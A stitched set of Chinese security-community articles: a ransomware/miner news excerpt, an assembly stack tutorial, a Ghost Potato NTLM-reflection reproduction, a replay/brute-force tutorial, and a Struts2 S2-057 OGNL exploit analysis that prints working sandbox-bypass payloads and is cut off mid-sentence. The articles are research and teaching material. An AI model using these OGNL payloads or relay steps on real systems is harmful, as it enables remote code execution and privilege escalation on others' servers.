在使用RSA-1024加密算法加密文件之前，恶意软件会终止与预定义的常用应用程序列表匹配的所有进程，然后通过文本文件显示勒索信息。
2.）安装加密货币矿工 -如果“比特币”文件夹不存在且机器有两个以上的逻辑处理器。
如果系统被加密货币矿工感染，它会使用MinerGate实用程序在后台挖掘Monero（XMR），Monero
Original（XMO）和Dashcoin（DSH）加密货币。
除此之外，恶意软件使用CertMgr.exe实用程序来安装声称由Microsoft Corporation和Adobe Systems
Incorporated发布的假根证书，以试图将矿工伪装成可信进程。
3.）如果没有“比特币”文件夹和一个逻辑处理器，则激活蠕虫组件。
此组件可帮助恶意软件使用共享资源将自身复制到位于本地网络中的所有计算机。
“对于文件中列出的每台计算机，特洛伊木马会检查用户是否共享文件夹，如果是，则恶意软件将自身复制到每个可访问用户的文件夹 AppData Roaming
Microsoft Windows Start Menu Programs Startup”，研究人员指出。
无论选择哪种感染，恶意软件都会检查是否已启动列出的防病毒软件进程之一。如果系统中未找到AV进程，则恶意软件将运行几个cmd命令以尝试禁用Windows
Defender。
## 更重要的是？还有一个间谍软件功能
另一个有趣的事实是恶意软件也有一些间谍软件功能 –
它的消息包括正在运行的进程列表和带有屏幕截图的附件，”研究人员说。这种恶意软件变种主要针对俄罗斯（95.5％）用户，而哈萨克斯坦（1.36％），乌克兰（0.57％），德国（0.49％）和印度（0.41％）也有少量感染。
防止自己成为此类攻击的受害者的最佳方法是永远不要打开电子邮件中提供的可疑文件和链接。此外，始终保持良好的备份和更新防病毒软件习惯。
审核人：yiwang 编辑：边边 | 社区文章 |
# 汇编眼中的函数调用参数传递以及全局与局部变量与“基址”
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作为刚往底层方向走的一只菜鸟，今天为各位分享一篇名为汇编眼中的函数调用参数传递以及全局、局部变量与“基址”，好了，废话不多说，先来看看C语言代码：
本次的分享主要以画堆栈图为主，通过画图的方式来看看这段代码是如何运作的
我们先写一句汇编代码，mov
eax,eax其实这句代码并没有什么用，也就是将eax的值移入eax中，这句代码对于我们的作用仅作为断点，我们F5运行下程序并且切换到反编译界面
右键之后点击Go To Disassemble，也就是进入反编译界面，我们来看看反编译的代码
这就是咱们main函数反编译后的结果，那么现在我们记录一下ebp，esp的值，并且画出现在的堆栈图
ESP = 0019FEF4
EBP = 0019FF40
黄色=ebp~esp初始的内存
那好，我们继续来看代码
这里是我们自己写的汇编代码，编译器也没有改动过可以说是本色出演，这里内存没有变化，好，那么我们接着来看add函数这里的调用
可以看到函数调用的时候首先是将3、1这两个值推入栈中，但是又有疑问了“add函数的调用是这样的add(1,3)，为啥首先推入栈中的是3而不是1呢？”之所以这样是因为栈中是先进后出的，所以参数进入栈中的顺序是从右向左的，当然这里也可以看到函数中的参数是压入栈中然后取出来而不是通过通用寄存器eax，edx，ebx这些来传送参数的，其实这也好理解，因为通用寄存器只有八个，像esp，eip，ebp这样的寄存器还不能随便改，能用的也只有剩下的几个，参数超过剩下的几个咋办？那就只能用堆栈了。我们继续来看F10单步执行一下，看看堆栈的变化
我们再看看EBP和ESP
这里可以看到压入一个3后栈顶指针减去了4h，至于为啥减去4h呢？是因为一个int类型的数据宽度是4Byte=32Bit，能存入的最大数也就是0xFFFFFFFF，16进制数又是2进制数的简写形式，一个二进制数需要4Bit来存储，所以4位二进制数最大的值为1111转换为16进制后刚好为F，这样也方便了开发者，存储空间中我们看到的数据都是16进制数
可能以上讲得有些出入，如有错误，请帮忙纠正，好了，我们接着来看，接下来push 1进去，我们来看看现在的堆栈图：
继续看下面的代码：
接着是call，call指令在汇编中多用于函数调用，call指令做了两个操作，
1. 1.Push 00401103（下一行代码地址）
2. 2.Jmp 0040100A（函数地址）
这里我们F11一下，遇到call指令后按F11进入函数即可，这样我们就可以看到函数体中的指令
这里CALL之后看看堆栈中的变化：
继续向下走，F11后跳转到的结果如下
这里是编译器决定的，不是所有编译器call后会进入一个jmp指令中转，再F11一下
Jmp执行之后直接进入了函数体，这里将通用寄存器ebp的值存入栈中，之所以存入栈中是因为每一个函数中都要使用ebp来寻址，所以需要将ebp的原始值存入栈中，随后将esp栈顶指针的值移入ebp中，sub
esp,40h是将栈顶指针加到40h这个位置，之所以是减40h是因为栈空间是从高到低的，现在我们单步执行一下看看栈中的变化
这里40h移动的位置=40h/4h=10h=16，我们看看现在堆栈的变化
Sub esp,40h这段代码我们是为函数开辟一块栈空间出来供函数存取值的，也就是我们常说的缓冲区，通常用来存储函数中的局部变量，我们接着往下看
接着向栈中推入了ebx，esi，edi，栈顶指针[esp-Ch]，然后lea指令将[ebp-40h]的地址放入edi中，给ecx赋值为10h=16，也就是循环16次又将0xCCCCCCCCh赋给eax，这也被称为断点字符，然后使用rep指令将缓冲区中的值赋值为0xCCCCCCCCh，现在我们再来看看堆栈中的变化
我们看一下单步执行后的esp和ebp的结果
好勒，咱们接着往下走
这里可以看到首先是将栈中的[ebp+8]=0019FEE4+8=0019FEEC地址中的值移动到eax中，然后将eax与[ebp+Ch]=0019FEE4+Ch=0019FEF0地址中的值相加，并且将相加后的值存入eax中，栈空间无任何变化，变化的仅仅是eax，咱们单步执行看下
好了，我们接着往下看
首先将edi,esi,ebx中的值取出来，这里可以看到，我们推入和取出的顺序刚好相反，先进后出的道理，随后将ebp的值移动到esp中，这里也就改变了栈顶指针，然后pop
ebp，最后ret，ret的做的操作：
pop eip（这里取出的是返回地址）
咱们单步执行一下
我们接着来看代码
这里esp+8是为了堆栈平衡，恢复最初的堆栈，我们单步一下
堆栈的变化如下：
这样就和我们没进入函数之前的堆栈一样了，程序到这里就解释了函数调用以及传参的问题。我们接着往下走
函数调用又是一个call，call的两个操作：
1、Push 0040110B（下一行代码地址）
2、Jmp 00401005（函数地址）
单步会遇到jmp，我们直接单步进入函数体
对于这里的堆栈就不画了，主要讲解一下这里的全局变量以及“基址”是啥，这里我们的全局变量z是由变量定义的时候分配指定的内存地址，在每一个函数中都可以找到，每一个全局变量都有一个唯一的内存地址，有且只有一个，在游戏外挂中经常会听到找“基址”，然而这个“基址”就是全局变量的地址，只要程序被编译那么就只有这么一个指定的地址，我们这个程序中z的地址[00424a30],打开CE
首先我们运行一下我们写好的程序
选择我们刚才运行的程序，点击加入地址，我们将00424a30这个内存地址加入进去
点击ok，我们看看它的初始值
这里完全没有自己输入值，我们改一下值，看看程序的输出
点击OK，再看一下改了之后输出的值
总结：
1、全局变量是编译后分配的一个指定内存空间，因为是公共的所以任何程序或者程序中的函数都可以调用以及修改。
2、局部变量的地址是随机的，因为每次进入函数都会随机分配一段地址给函数，这段分配的地址称为缓冲区，缓冲区也是用来存储局部变量的。
3、“基址”就是全局变量，这是外挂开发中常用到的一个词汇。
4、函数调用使用call，call指令做的两个操作：
（1）push call指令下一行地址
（2）Jmp 函数地址（编译器决定，可能先跳转到中转地址，然后跳转到函数地址）
5、汇编中的函数就是指令的集合，唯一不同的是函数最后都会用ret返回
6、函数中的参数传递是使用堆栈来传递的。 | 社区文章 |
# Ghost Potato 复现(Cve-2019-1384)
[toc]
## 0x00 前言
11月份的时候shenaniganslabs发了博文，讲了关于CVE-2019-1384的漏洞详情
<https://shenaniganslabs.io/2019/11/12/Ghost-Potato.html>
这同样是一个Potato系列的漏洞，简单来说就是绕过了MS08-068的修补方案，实现本机的NTLM反射，达到提权的目的。
## 0x01 NTLM 认证过程
要搞清楚NTLM反射，首先来回顾一下NTLM的认证过程。
NTLM认证基于C/S验证机制，由三种消息组成: 协商，质询，验证
type1：协商
主要是客户端向服务器客户端支持和服务器请求的功能列表
type2: 质询
服务器向客户端发送服务器支持的功能列表，并且同时发送一个16位的Challenge， 并且同时发送服务器的各类信息于`Target Info`字段
type3: 验证
客户端收到Challenge后，使用自身的NTLM
Hash加密Challenge得到Response，将Response发送给服务端.然后服务端在本地调用用户NTLM
hash加密Challenge后，与Response进行对比。
## 0x02 ms08-068
这里需要看一个函数[InitializeSecurityContextA](https://docs.microsoft.com/en-us/windows/win32/api/sspi/nf-sspi-initializesecuritycontexta)
这个函数属于`sspi.h`, 关于SSP的作用就不再赘述了
函数主体：
SECURITY_STATUS SEC_ENTRY InitializeSecurityContextA(
PCredHandle phCredential,
PCtxtHandle phContext,
SEC_CHAR *pszTargetName,
unsigned long fContextReq,
unsigned long Reserved1,
unsigned long TargetDataRep,
PSecBufferDesc pInput,
unsigned long Reserved2,
PCtxtHandle phNewContext,
PSecBufferDesc pOutput,
unsigned long *pfContextAttr,
PTimeStamp ptsExpiry
);
可以看到存在一个pszTargetName参数， ms08-068的修复方案也就是利用这个参数进行的
当我们存在两个主机进行SMB通信时，A向B发送了type1请求，同时他将自己的pszTargetName设置为`cifs/B`,
当拿到type2的challenge时，向lsass进程中写入缓存 -> (Challenge,`cifs/B`)。
而后A向B发送type3，B收到response后，会到lsass中去寻找是否存在缓存(Challenge,`cifs/B`),
因为只有A主机写入了缓存，所以如果A和B不是同一个主机，那么肯定B主机不存在缓存，认证成功。
## 0x03 cve-2019-1384
这个漏洞主要是绕过了缓存的限制，因为lsass中的缓存(Challenge,`cifs/B`),在300s后会自动消失
利用流程：
经过315s后，再发送type3, 那么到时候lsass中的缓存已经消除，可以成功认证本机器
## 0x04 漏洞复现
作者原文中提供的Poc: [impacket-ghostpotato](https://shenaniganslabs.io/files/impacket-ghostpotato.zip)
由于他给的Poc只支持HTTP协议，所以我们使用IE浏览器进行访问即可
配合responder的LLMNR投毒
`responder -I eth0 --lm`
上传rat文件到WIndows启动目录，用户下次登录时自启动
当然，如果直接执行命令是system权限的
Poc提供两个上传路径
## 0x05 WebDav
在复现WebDav的攻击形式时，我发现了一些以前不知道的东西，因为原作者是通过WebDav进行攻击的，所以给俺也来一个。
参考这篇文章 -> <https://www.n00py.io/2019/06/understanding-unc-paths-smb-and-webdav/>
我们知道了Windows在使用UNC路径的时候，会先通过SMB协议进行访问，如果没有成功，会切换到WebDav进行访问
没什么问题，但是之前通过Windows Server 2008进行测试时，我发现只会通过SMB协议，而不会通过WebDav
这个问题困扰了我蛮久的，最后查阅了一些资料后，我觉得是因为一个注册表项`WebClient`
位于`\HKEY_LOCAL_MACHINE\SYSTEM\CureentControlSet\services\WebClient`
WebClient提供了WebDav的Service，也就是说进行Webdav的连接离不开WebClient组件，而WindowsServer2008默认是没有这个东西的，所以也就不行了
利用WebDav进行SMB反射
## 0x06 引用链接 | 社区文章 |
本文由红日安全成员： misakikata 编写，如有不当，还望斧正。
大家好，我们是 **红日安全-Web安全攻防小组** 。此项目是关于Web安全的系列文章分享，还包含一个HTB靶场供大家练习，我们给这个项目起了一个名字叫
Web安全实战 ，希望对想要学习Web安全的朋友们有所帮助。每一篇文章都是于基于漏洞简介-漏洞原理-漏洞危害-测试方法（手工测试，工具测试）-靶场测试（分为PHP靶场、JAVA靶场、Python靶场基本上三种靶场全部涵盖）-实战演练（主要选择相应CMS或者是Vulnhub进行实战演练)，如果对大家有帮助请
**Star** 鼓励我们创作更好文章。如果你愿意加入我们，一起完善这个项目，欢迎通过邮件形式（[email protected]）联系我们。
# 重放攻击
## 1\. 漏洞简介
首先简单看一下百度百科对重放攻击的简介：重放攻击(Replay
Attacks)又称重播攻击、回放攻击，是指攻击者发送一个目的主机已接收过的包，来达到欺骗系统的目的，主要用于身份认证过程，破坏认证的正确性。重放攻击可以由发起者，也可以由拦截并重发该数据的敌方进行。攻击者利用网络监听或者其他方式盗取认证凭据，之后再把它重新发给认证服务器。
## 2\. 漏洞原理
重放攻击的基本原理就是把以前窃听到的数据原封不动地重新发送给接收方。很多时候，网络上传输的数据是加密过的，此时窃听者无法得到数据的准确意义。但如果他知道这些数据的作用，就可以在不知道数据内容的情况下通过再次发送这些数据达到愚弄接收端的目的。
## 3\. 漏洞危害
重放攻击本身只是一种行为和方式，并不会直接造成系统的危害，可能在某些系统中，过多和高频次的重复会对系统造成压力。重放攻击的重要点在于重放的是可以造成目的效果的数据包，从而达到修改和多次执行的效果。
重放攻击主要是针对系统没有效验请求的有效性和时效性，对于多次请求执行，系统将多次响应。在重放攻击利用最多的形式中，短信轰炸算是重放攻击最直接的利用表现。
## 4\. 常见漏洞类型
### 1\. 短信轰炸
短线轰炸算是重放攻击中最为直接的利用形式，当系统端没有效验请求的时间差或者只在前端做请求限制的时候，可以无限的请求短信来达到短信轰炸的目的。例如，如下APP请求注册时可以使用手机号和验证码注册登录，但是没有限制短信请求次数和时间间隔。
多次请求后可以在手机上看到请求到的短信
### 2\. 暴力破解
暴力破解是重放攻击中，典型的非只重放而达到的攻击类型，而是利用重放这个动作来达到暴力破解的目的。当系统端未做请求验证和错误次数限制时，就可以根据字典或者设定的字符串来破解特定的参数。
#### a. 暴力破解密码
当用户登陆时，缺少验证码或者验证码不失效，并且账号没有错误的次数限制。可以通过暴力破解碰撞密码来登录。例如此处，暴力破解原密码来登陆绑定账号。
此处验证码只判断是否存在，并不失效，且可以多次尝试绑定账号，例如如下，当返回为1的时候就是密码正确，绑定成功。
#### b. 暴力破解验证码
当我们申请修改账号密码等操作时，往往需要给手机号或者邮箱发送一个验证码，当需要修改他们或者越权操作的时候并不一定可以通过修改接收手机或邮箱来收到验证码，这时候可以尝试暴力破解验证码。例如：
对此请求多次重放后发现仍然返回修改密码失败，说明验证码可以多次使用，这种情况下很有可能是验证码在没有正确验证使用时，后台并不会失效。那么我们尝试爆破验证码，如果成功将修改账号密码。
#### c. 暴力破解参数
此情况大都在尝试越权的时候，还有尝试修改某些不可知但是可预测的参数，例如此篇文章：
[重置凭证可暴破](https://www.freebuf.com/articles/web/164510.html)
#### d. 暴力破解hash密码
此种暴力破解类似破解密码，但此种一般不需要考虑某些验证条件，常在获取到主机权限后，利用hash抓取工具获得，例如Windows平台的hash抓取工具：mimikaze，
pwdump7等。获取到Windows的NTLM。
Administrator:500:aad3b435b51404eeaad3b435b51404ee:44f077e27f6fef69e7bd834c7242b040:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
常见的爆破工具：[Ophrack](http://ophcrack.sourceforge.net/)、[John the
Ripper](https://www.openwall.com/john/)、[hashcat](https://hashcat.net/hashcat/)
这种方式都需要提前准备彩虹表，当然kail上也有集成，同时也有默认字典。
### 3\. 重放支付
这种情况往往出现在支付订单的时候，支付到最后一个请求包时，系统收到请求就会确定已支付下单。这时候在系统没有做出准确效验的时候就会根据是否支付成功的验证字段来确定下单，多次重放的时候，系统会根据暂无失效且正常的请求下单。来达到使用同一请求多次获取成功的订单。
但这种情况，现在已经很少会遇到，上一次遇到还要追溯到去年初了。
### 4\. 重放修改密码
在很多时候，我们修改密码等操作的时候，是分几步完成的，例如先验证手机验证码，跳转在修改密码。如果在最后确认修改的时候抓包多次重放，可以达到免验证来达到修改密码的作用。也就是这里并没有强制效验手机号和验证码。也就存在了任意修改密码的可能，当然要是效验了手机号和验证码的对应关系，也许就不可以了。
POST /userpwd?p=1 HTTP/1.1
Host: xxx.com
phone=13111111111&code=123456
当我们如上的去请求验证码效验的时候，如果通过会跳往第二个页面修改密码
POST /userpwd?p=2 HTTP/1.1
Host: xxx.com
phone=13111111111&pwd=123456&newpwd=123456
当只是简单的重置的时候，先不谈越权问题，这个包都可能造成多次修改多次重置密码。而并不用验证。
POST /userpwd?p=2 HTTP/1.1
Host: xxx.com
phone=13111111111&code=123456&pwd=123456&newpwd=123456
在修改密码的时候遇到也携带了其他的参数，例如之前的短信验证字段，那么就不一定会造成越权，但可能会有多次重放修改密码的可能。这时候如果需要修改他人密码，就需要爆破验证码来达到效果。这就回到了暴力破解中的验证码爆破。
POST /userpwd HTTP/1.1
Host: xxx.com
[email protected]&code=123456
有些系统在重置密码的时候并不是需要各种验证，而是你申请修改就会给你发送重置的密码到你的注册邮箱。例如如上数据包，当验证存在邮箱的时候，只需要输入图片验证码就会发送已经被重置的新密码到指定邮箱。这时候虽然我们不能获取密码，但是缺少验证的方式可导致其他账号密码被重复修改，而影响他人的登陆。真可谓损人不利己的好用处。233333
### 5\. 条件竞争
条件竞争是后台对共享数据读写的时候，多线程没有对共享数据执行线程锁，导致在多个线程获取到的值并不是当前线程操作的实时值，典型的例子是，一份钱买多份。
例如去年护网杯的Itshop，此处给出WP以便参考：<https://www.codercto.com/a/31463.html>
## 5\. 漏洞靶场
漏洞环境：Django2.2、python3
此处利用的是之前写的一个bug平台，当验证会提示如下时，可以根据提示的不同来判断密码是否正确，当密码正确的时候就会跳转到内部页面。
def login(request):
if request.method == 'POST':
login_form = forms.UserForm(request.POST)
message = '请检查填写的内容！'
if login_form.is_valid():
username = login_form.cleaned_data.get('username')
password = login_form.cleaned_data.get('password')
try:
user = models.User.objects.get(name=username)
except :
message = '用户不存在！'
return render(request, 'login/login.html', locals())
if user.password == password:
request.session['is_login'] = True
request.session['user_id'] = user.id
request.session['user_name'] = user.name
return redirect('/index/')
else:
message = '密码不正确！'
return render(request, 'login/login.html', locals())
else:
return render(request, 'login/login.html', locals())
login_form = forms.UserForm()
return render(request, 'login/login.html', locals())
抓包登陆，在没有验证码，且csrf_token在没有起到唯一性的时候，可以通过爆破密码登陆。
把数据包丢到Intruder中，多次爆破后发现当密码正确的时候会产生302的跳转。
漏洞修复：添加验证码，虽然此处可以添加框架自带的验证码，但建议使用请求式验证码。如不能使用验证码也可以给账号登陆错误次数做一次限制。
## 6\. 漏洞测试工具
重复攻击一般采用可以抓包的工具都可以重复，例如：Charles、burp等。此处较为常用burp。因为在payload上，处理较为灵活，当然如果需要的只是重放，Charles应该不会让你失望。
burp: <https://portswigger.net/burp>
Charles：<https://www.charlesproxy.com/>
## 7\. 漏洞修改
1. 添加图片验证码，为了应对偏爆破类的重放攻击，添加验证字段是最简单有效的手段。当然你要保证验证是在一次使用后及时失效。
2. 限制请求次数，有些地方并不适用于添加验证码，或者不能添加验证码。这时候针对同一账户的错误次数限制就显得很有必要。例如，当错误次数连续达到五次的时候，暂时十分钟内不能登陆。
3. 效验验证码和用户身份，某些重放攻击是利用了手机号和验证码之间的不对应性，特别是在修改密码等处，这时候需要把验证码和请求的用户手机号做联系，当重放或者越权的时候根据验证码次数和对应关系来判断是否允许修改。 | 社区文章 |
# Struts2 漏洞exp从零分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
从零开始分析struts2代码执行exp，其中不但包括了struts2自己设置的防护机制绕过，还有ognl防护绕过。以s2-057为列，因为有三个版本的exp，从易到难，比较全。文章中包含的前置内容也比较多。
## 0x01 前置知识OGNL
struts2命令执行是利用ognl表达式，所以必须了解ognl。
### 1、HelloWorld
OGNL有三大要素，分别是表达式、Context、根对象。
使用ognl表达式的时候，是使用`Object ognl.Ognl.getValue(String expression, Map context,
Object root)` api执行ognl表达式。
参数说明：
`expression` ognl表达式
`context` 是一个实现了Map接口的对象
`root` bean对象
来写一个helloworld，将上面抽象的东西实践一番。
class People{
public Integer age;
public String realName;
public void setAge(Integer age) {
this.age = age;
}
public void setRealName(String name) {
this.realName = name;
}
public Integer getAge() {
return this.age;
}
public String getRealName() {
return this.realName;
}
}
public class Temp {
public static void main(String[] args) throws OgnlException {
People root = new People();
root.setAge(100);
root.setRealName("lufei");
OgnlContext context = new OgnlContext();
context.put("nikename", "lufeirider");
//注意非根对象属性，需要加上#号
Object nikeName = Ognl.getValue("#nikename",context,root);
System.out.println(nikeName);
//使用跟对象属性时候，不需要加#号
Object realName = Ognl.getValue("realName",context,root);
System.out.println(realName);
//@[类全名(包括包路径)@[方法名|值名]]
//执行命令
Object execResult = Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')", context);
System.out.println(execResult);
}
}
输出结果
lufei
lufeirider
java.lang.ProcessImpl@1f17ae12
### 2、OgnlContext类
因为exp中常常利用赋值，改安全属性，而赋值操作在这个类中，所以好好看下这个类如何进行赋值与取值。（源码下载地址：[https://github.com/jkuhnert/ognl）](https://github.com/jkuhnert/ognl%EF%BC%89)
`public class OgnlContext extends Object implements Map`，它是实现了Map接口的类。
看一下里面的主要方法和属性
重写了`Map`的`put`方法，遇到`RESERVED_KEYS`里面的key，然后根据key进行使用不同方法进行赋值。如果不在`RESERVED_KEYS`里面的，则放入一个叫`_values`的Map里面。
public Object put(Object key, Object value)
{
Object result;
if (RESERVED_KEYS.containsKey(key)) {
if (key.equals(OgnlContext.THIS_CONTEXT_KEY)) {
result = getCurrentObject();
setCurrentObject(value);
} else {
if (key.equals(OgnlContext.ROOT_CONTEXT_KEY)) {
result = getRoot();
setRoot(value);
} else {
if (key.equals(OgnlContext.CONTEXT_CONTEXT_KEY)) {
throw new IllegalArgumentException("can't change " + OgnlContext.CONTEXT_CONTEXT_KEY
+ " in context");
} else {
if (key.equals(OgnlContext.TRACE_EVALUATIONS_CONTEXT_KEY)) {
result = getTraceEvaluations() ? Boolean.TRUE : Boolean.FALSE;
setTraceEvaluations(OgnlOps.booleanValue(value));
} else {
if (key.equals(OgnlContext.LAST_EVALUATION_CONTEXT_KEY)) {
result = getLastEvaluation();
_lastEvaluation = (Evaluation) value;
} else {
if (key.equals(OgnlContext.KEEP_LAST_EVALUATION_CONTEXT_KEY)) {
result = getKeepLastEvaluation() ? Boolean.TRUE : Boolean.FALSE;
setKeepLastEvaluation(OgnlOps.booleanValue(value));
} else {
if (key.equals(OgnlContext.CLASS_RESOLVER_CONTEXT_KEY)) {
result = getClassResolver();
setClassResolver((ClassResolver) value);
} else {
if (key.equals(OgnlContext.TYPE_CONVERTER_CONTEXT_KEY)) {
result = getTypeConverter();
setTypeConverter((TypeConverter) value);
} else {
if (key.equals(OgnlContext.MEMBER_ACCESS_CONTEXT_KEY)) {
result = getMemberAccess();
setMemberAccess((MemberAccess) value);
} else {
throw new IllegalArgumentException("unknown reserved key '" + key + "'");
}
}
}
}
}
}
}
}
}
} else {
result = _values.put(key, value);
}
还重写了`get`方法，跟上面的类似。`Ognl.getValue("#ct['root']",context,root);`，`context['root']`就能获取到保留属性比如获取到保留属性`root
temp.People[@7eda2dbb](https://github.com/7eda2dbb
"@7eda2dbb")`,而非在`_value`中获取。
来看下保留字符
public static final String CONTEXT_CONTEXT_KEY = "context";
public static final String ROOT_CONTEXT_KEY = "root";
public static final String THIS_CONTEXT_KEY = "this";
public static final String TRACE_EVALUATIONS_CONTEXT_KEY = "_traceEvaluations";
public static final String LAST_EVALUATION_CONTEXT_KEY = "_lastEvaluation";
public static final String KEEP_LAST_EVALUATION_CONTEXT_KEY = "_keepLastEvaluation";
public static final String CLASS_RESOLVER_CONTEXT_KEY = "_classResolver";
public static final String TYPE_CONVERTER_CONTEXT_KEY = "_typeConverter";
public static final String MEMBER_ACCESS_CONTEXT_KEY = "_memberAccess";
其中`_memberAccess`是访问权限控制，比较重要。
设置访问权限
public void setMemberAccess(MemberAccess value)
{
if (value == null) { throw new IllegalArgumentException("cannot set MemberAccess to null"); }
_memberAccess = value;
}
保留属性和`_values`一起组成如下图
### 3、单步调试ognl表达式
为了调试的方便，确认表达式哪步成功哪步不成功，所以要找能够观察每个表达式结果的地方。由于要再执行真正的表示之前要对参数进行调整、检测表达式。所以到真正执行之前调用之前有几层栈。
ASTChain.getValueBody(OgnlContext, Object) line: 141
ASTChain(SimpleNode).evaluateGetValueBody(OgnlContext, Object) line: 212
ASTChain(SimpleNode).getValue(OgnlContext, Object) line: 258
Ognl.getValue(Object, Map, Object, Class) line: 494
Ognl.getValue(String, Map, Object, Class) line: 596
Ognl.getValue(String, Map, Object) line: 566
Temp.main(String[]) line: 48
真正调用是在`ASTChain.getValueBody`函数之中，里面有`for循环`是一个重要标识，通过遍历执行所有表达式。
### 4、 struts2环境下的OgnlContext
那么struts2框架会给OgnlContext设置哪些context和root?
这个HashMap中存在链表，如上图所示，所以想了解所有内容，需要点开HashMap中的next查看。
`_root` 里面存储着着Struts2 ActionContext，值为Test，说明访问的是Test Action。
`_value` 里面存储着session，parameters等ValueStack内容。
## 0x02 S2-057exp分析
以S2-057的exp为列进行分析，S2-057可以分成三个版本。
### 1、第一个最简单的版本
最简单的版本是以`struts-2.3.24`为列。
打开如下url，选用弹出计算器的exp，比较容易观察是否执行成功，是否跑飞了。
`http://127.0.0.1:8070/Test/${(%23cmd=[@java](https://github.com/java
"@java").lang.Runtime[@getRuntime](https://github.com/getRuntime
"@getRuntime")().exec("calc"))}/test`
下面的表达式与开始的helloworld不同的是，这里多了`${}`，因为
`xwork-coresrcmainjavacomopensymphonyxwork2utilOgnlTextParser.java evaluate`,
是以`$`或`%`作为限定符进行解析。
我们期待的计算器并没有弹出。这时候`动态调试+开发者模式`的好处显示出来了，在console打印了
十月 09, 2018 9:29:36 下午 com.opensymphony.xwork2.ognl.SecurityMemberAccess warn
警告: Target class [class java.lang.Runtime] is excluded!
对`SecurityMemberAccess`类中弹出警告信息地方进行下断点，看到上一层`isMethodAccessible`会根据`context`的`_memberAccess`对象，调用相应对象的`isAccessible`方法，可以看到这里调用的是`com.opensymphony.xwork2.ognl.SecurityMemberAccess`类的`isAccessible`方法。
可以将`_memberAccess`中的`com.opensymphony.xwork2.ognl.SecurityMemberAccess`对象覆盖成`ognl.DefaultMemberAccess`，因为`xwork2`自身对`ognl`的安全访问类的一些方法进行了重写，实现了自己的权限控制防护。但是`ognl`从helloworld看到是可以执行命令，没有防护。
在S2-057中，struts-2.3.24的exp如下。
`http://127.0.0.1:8070/Test/%25{(%23_memberAccess=[@ognl](https://github.com/ognl
"@ognl").OgnlContext[@DEFAULT_MEMBER_ACCESS](https://github.com/DEFAULT_MEMBER_ACCESS
"@DEFAULT_MEMBER_ACCESS")).(%23cmd=[@java](https://github.com/java
"@java").lang.Runtime[@getRuntime](https://github.com/getRuntime
"@getRuntime")().exec("calc"))}/test`
经过测试`2.3.20~2.3.29`都是可以用
### 2、第二个版本
范围是：2.3.30~2.5.10，以`struts-2.3.30`为列。
执行上面的exp还是会报`class [class java.lang.Runtime] is
excluded!`，和之前的结果`对比`一下，通过下面的截图可以看到`_memberAccess`还是`com.opensymphony.xwork2.ognl.SecurityMemberAccess`，不过在`_value`中增加了`_memberAccess=ognl.DefaultMemberAccess[@5d6edd4f](https://github.com/5d6edd4f
"@5d6edd4f")`。
那我们单步跟踪一下（这里单步调试毕竟多，可以通过栈的刷新速度和右边的变量重新还原到上次跑飞的地方），这个覆盖为什么没有成功。通过单步跟踪发现，`ognl`并没有将`_memberAccess`纳入`RESERVED_KEYS`
Map中，导致被当成普通的属性进行赋值了。
这里不能直接`#_memberAccess=[@ognl](https://github.com/ognl
"@ognl").OgnlContext[@DEFAULT_MEMBER_ACCESS](https://github.com/DEFAULT_MEMBER_ACCESS
"@DEFAULT_MEMBER_ACCESS")`进行对象覆盖，`OgnlValueStack`使用`OgnlUtil.createDefaultContext`进行创建`_memberAccess`默认属性，以及`OgnlUtil.excludedClasses、excludedPackageNamePatterns、excludedPackageNames`存储着黑名单，不过`com.opensymphony.xwork2.ognl.OgnlUtil.getExcludedxxxxx()`能够获取到这些私有属性集合。
为了获取到`OgnlUtil`对象，使用了`com.opensymphony.xwork2.inject.ContainerImpl.getInstance`进行实例化。
获取`OgnlUtil`对象后，然后clear方法将黑名单清除掉。如果直接调用`setMemberAccess`会检测包`ognl`在黑名单中。最终exp如下
${(%[email protected]@DEFAULT_MEMBER_ACCESS).(%23cr=%23context['com.opensymphony.xwork2.ActionContext.container']).(%23ou=%23cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)).(%[email protected]@getRuntime().exec("calc"))}
`struts-2.3.34`这个版本是一个异数，使用上面的exp无法弹出计算器。
通过单步调试发现，`get`方法无法获取到保留属性`context`，因为在这个版本中，`ognl`移除了`context`属性，不在作为保留属性。所以导致无法获取到`context`。
这样无法直接通过`#`获取到`context`，但是可以从`request['struts.valueStack']`获取到`com.opensymphony.xwork2.ognl.OgnlValueStack.context`。
request={struts.valueStack=com.opensymphony.xwork2.ognl.OgnlValueStack@3923c6df, struts.actionMapping=ActionMapping{name='test', namespace='/${(#[email protected]@DEFAULT_MEMBER_ACCESS).(#cr=#context['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec("calc"))}', method='null', extension='null', params=null, result=null}, __cleanup_recursion_counter=1}
所以exp为
${(%[email protected]@DEFAULT_MEMBER_ACCESS).(%23ct=%23request['struts.valueStack'].context).(%23cr=%23ct['com.opensymphony.xwork2.ActionContext.container']).(%23ou=%23cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%[email protected]@getRuntime().exec("calc"))}
### 第三个版本
第三个版本范围是`2.5.12~2.5.16`，以`struts-2.5.12`版本为列。2.5以上的版本是把xwork2合并到struts2-core-x-x-xx.jar中了，在配置漏洞的环境的时候要注意一点，需要修改/WEB-INF/web.xml。
<filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
改成
<filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
使用上一个版本的exp发现没有弹出计算器，爆出如下信息，通过notepad++搜索源码，发现是在`ognl/OgnlRuntime.java`，进行下断点。
Two methods with same method signature but not providing classes assignable? "public abstract void java.util.Set.clear()" and "public void java.util.Collections$UnmodifiableCollection.clear()" please report!
先断点后跟下去，发现最后发现是调用了`clear`清除`Collections$UnmodifiableSet
